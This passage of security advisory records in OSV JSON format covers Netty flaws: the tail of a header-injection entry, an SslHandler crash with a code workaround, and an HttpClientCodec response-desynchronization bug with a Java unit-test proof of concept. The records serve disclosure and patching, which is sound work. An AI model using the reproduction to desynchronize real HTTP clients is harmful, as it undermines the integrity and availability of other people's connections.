  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.117.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.91.Final"
            },
            {
              "fixed": "4.1.118.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T17:38:10Z",
    "nvd_published_at": "2025-02-10T22:15:38Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nWhen a special crafted packet is received via SslHandler it doesn\u0027t correctly handle validation of such a packet in all cases which can lead to a native crash.\n\n### Workarounds\nAs workaround its possible to either disable the usage of the native SSLEngine or changing the code from:\n\n```\nSslContext context = ...;\nSslHandler handler = context.newHandler(....);\n```\n\nto:\n\n```\nSslContext context = ...;\nSSLEngine engine = context.newEngine(....);\nSslHandler handler = new SslHandler(engine, ....);\n```",
  "id": "GHSA-4g8c-wm8x-jfhw",
  "modified": "2025-04-16T19:30:03Z",
  "published": "2025-02-10T17:38:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-4g8c-wm8x-jfhw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/87f40725155b2f89adfde68c7732f97c153676c4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250221-0005"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2025-24970-netty-vulnerability-detection"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2025-24970-netty-vulnerability-mitigation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SslHandler doesn\u0027t correctly validate packets which can lead to native crash when using native SSLEngine"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:21:48Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n    @Test\n    public void test() {\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n        ByteBuf request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n        request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse response = channel.readInbound();\n        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        LastHttpContent last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 2\n        response = channel.readInbound();\n        assertEquals(HttpResponseStatus.OK, response.status());\n        last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 3\n        FullHttpResponse response1 = channel.readInbound();\n        assertTrue(response1.decoderResult().isFailure());\n        assertEquals(0, response1.content().readableBytes());\n        response1.release();\n\n        assertFalse(channel.finish());\n    }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
  "id": "GHSA-57rv-r2g8-2cj3",
  "modified": "2026-05-14T20:41:17Z",
  "published": "2026-05-07T00:21:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has HttpClientCodec response desynchronization"
}